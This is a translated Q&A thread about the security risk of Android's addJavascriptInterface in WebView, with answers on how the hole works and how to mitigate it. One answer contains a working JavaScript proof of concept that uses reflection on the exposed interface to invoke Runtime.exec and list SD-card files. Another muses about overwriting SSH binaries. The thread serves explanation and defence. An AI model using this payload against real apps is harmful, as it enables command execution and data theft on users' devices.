Android JavascriptInterface Security? - PullRequest
       11

Android JavascriptInterface Security?

18 голосов
/ 20 июня 2011

Из документации: http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

"Использование addJavascriptInterface () позволяет JavaScript контролировать ваше приложение. Это может быть очень полезной функцией или опасной проблемой безопасности. Когда HTML в WebView ненадежен (например, часть или весь HTML предоставляется некоторыми лицо или процесс), то злоумышленник может внедрить HTML-код, который будет выполнять ваш код и, возможно, любой код, выбранный злоумышленником. Не используйте addJavascriptInterface (), если вы не написали весь HTML-код в этом WebView. Связанный Java-объект выполняется в другом потоке, а не в том потоке, в котором он был создан.

Предположим, у меня есть интерфейс, который показывает только настраиваемое диалоговое окно или запускает загрузку на SD-карту. Будет ли это небезопасно использовать для любого URL? Как страница атаки может использовать интерфейс для запуска любого кода по выбору злоумышленника?

Обновление: Согласно документации :

Этот метод может использоваться, чтобы позволить JavaScript контролировать хост приложение. Это мощная функция, но также представляет безопасность риск для приложений, нацеленных на уровень API JELLY_BEAN или ниже, потому что JavaScript может использовать отражение для доступа к внедренному объекту публичные поля. Использование этого метода в WebView, содержащем недоверенных контент может позволить злоумышленнику манипулировать хост-приложением в непреднамеренные пути, выполнение кода Java с разрешениями хоста приложение. Будьте предельно осторожны при использовании этого метода в WebView который может содержать недоверенный контент.

Есть ли пример того, как это могло произойти? Это просто говорит о том, что DOWNLOADINTERFACE.dangerousfunction можно вызвать, если это открытый метод для этого класса?

Обновление:

Я протестировал на примере приведенного ниже эксплойта, сайты могут получить доступ к системе через интерфейсы в Android 4.4, 4.1 и 3.2.

Тем не менее, я не видел эту ошибку на Android 2.2 или 2.3, хак вызывает только принудительное закрытие. Каков наилучший способ предотвратить этот взлом, кроме как не использовать JSInterface? Могу ли я включить такие фиктивные функции, чтобы предотвратить несанкционированный вызов функций?

public Object getClass() {
  //throw error, return self, or something?  
}

Или переписать все, используя ajax и перехват вызовов? Приведет ли это к лучшей / худшей производительности?

Обновление:

Мне удалось удалить интерфейс JS и заменить функциональность, определив команды window.open (specialurl) для всех оконных (интерфейсных) функций и переопределив их в mustOverrideUrlLoading. Как ни странно, в некоторых случаях нужно использовать window.open (), либо показывать разрывы веб-просмотра (например, останавливается javascript?), А в других случаях следует использовать location.replace, или он просто покажет «interface: // specialdata» "не удалось найти сообщение.

(я установил settings.setJavaScriptCanOpenWindowsAutomatics (true), чтобы window.open постоянно работал с JS.)

Кто-нибудь знает лучший способ переписать приложение с таким поведением?

Ответы [ 5 ]

14 голосов
/ 29 августа 2013

пример доступа к файлам SDCard из JavaScript:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>
5 голосов
/ 20 июня 2011

Таким образом, код, который запускается в WebView, по умолчанию находится в изолированной программной среде, то есть он не может выполнять опасные нативные вещи, такие как запись в файловую систему или доступ к адресной книге и т. Д. *

Большинство javaScriptпопадает в эту категорию, и в случае показа пользовательского диалогового окна нет никакой опасности.

addJavaScriptInterface позволяет вам выставлять нативные вещи телефона в javascript, и опасность состоит в том, что если вы не напишите свой javaScriptInterface правильно, вы могли быв итоге подвергаем телефон человека реальной опасности от хакера.

Я думаю, что проще всего понять на примере.

Скажем, вы пишете интерфейс javaScript, где вы можете вызывать функцию из javaScript, котораязаписывает файл в путь в файловой системе Android.Например:

writeToFile(data, safepath);

Все javascript поступают с вашего сервера, но каким-то образом хакер скомпрометировал ваш сервер и изменил HTML / JavaScript, загружаемый в ваш WebView, для запуска:

writeToFile(dangerousdata, pathtosomeotherfile);

СейчасЯ недостаточно хорошо изучил компоновку пакета Android, чтобы понять, какой файл я бы хотел перезаписать / изменить, если бы я был хакером, но у нас было немного хакерских битв с друзьями на наших собственных Linux-машинах, когда я был моложеи вы будете использовать такой вызов, чтобы перезаписать что-то вроде двоичного файла SSH - тогда вы сможете регистрировать все пароли, которые будут входить. Если бы вы могли делать такие вещи, как перезапись или расширять исходный apk своим собственным, вы могли бы включитьтелефон этого человека на сервер, на который вы могли бы войти удаленно (я не уверен, возможно ли это из-за того, что приложения помещаются в «песочницу»).Даже если все, что вы могли бы сделать, это перезаписать файл с критическими данными, вы могли бы заставить пользователя предоставить вам (в данном случае хакеру) доступ к учетным данным безопасности, паролям и тому подобному.

Много лет назад мы обнаружили дыру в процессе sendmail на машине с Linux, которая позволила нам запустить оболочку.Мы вошли на наш сервер как пользователь почты.Вы не можете сделать что-то большее, чем пользователь почты, но как только вы окажетесь на машине, это даст вам возможность осмотреть другие недостатки.

Так что вы можете делать то, что вы хотите делать безопасно, просто будьте уверены,что вы делаете этот интерфейс JavaScript действительно простым и тупым - он записывает только один файл в одном месте, а записываемые вами данные могут быть текстовыми или что-то, что не будет интерпретировано позже.Для диалогов я делаю это все время - никаких особых нативных вызовов тоже не нужно.Это отличный способ создать страницу, которую можно обновить после того, как пользователь установил ваше приложение.

Надеюсь, это полезно!

4 голосов
/ 30 сентября 2013

Исправление:

Для приложений под управлением Android 4.2 все открытые методы, аннотированные JavascriptInterface, могут быть доступны из JavaScript.

Так что если вы разрабатываете приложение для SDK версии 17 или выше , вы должны добавить аннотацию @ JavascriptInterface к любому методу, который вы хотите использовать в своем JavaScript.

Если выне предоставляйте аннотацию, метод недоступен вашей веб-странице при работе на Android 4.2 или выше.

Чтобы узнать больше, нажмите здесь

2 голосов
/ 15 июля 2015

OverView

Чтобы избежать проблемы безопасности addJavaScriptInterface () , вам необходимо разработать протокол связи между собственным кодом и JavaScript.

Ниже приведен простой дизайн протокола связи.

В JavaScript

Чтобы упростить протокол связи, каждый вызов функции, который должен обрабатывать Android, должен соответствовать следующему шаблону

/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");

В Java

Можно переопределить onJsPrompt () в WebChromeClient .

WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName 
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}

Cordova framework

Так же работает Cordova Plugin . Хотя Cordova является более сложной, она добавляет функцию обратного вызова в "JS to Native Call" и позволяет вызывать собственный код JavaScript

0 голосов
/ 11 сентября 2013

эта ошибка безопасности работает со всеми родными интерфейсами, кроме уровня API> = 17.

...